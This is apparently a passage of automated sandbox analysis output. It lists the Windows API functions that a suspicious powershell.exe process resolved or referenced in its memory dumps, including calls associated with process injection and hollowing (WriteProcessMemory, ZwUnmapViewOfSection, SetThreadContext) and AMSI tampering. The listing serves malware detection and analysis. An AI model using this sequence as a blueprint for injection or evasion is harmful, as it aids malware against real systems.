DeleteSecurityContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCP (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetOEMCPW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter TerminateProcessW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributes (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003340)35:T9a5a,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp, 00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp, 00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 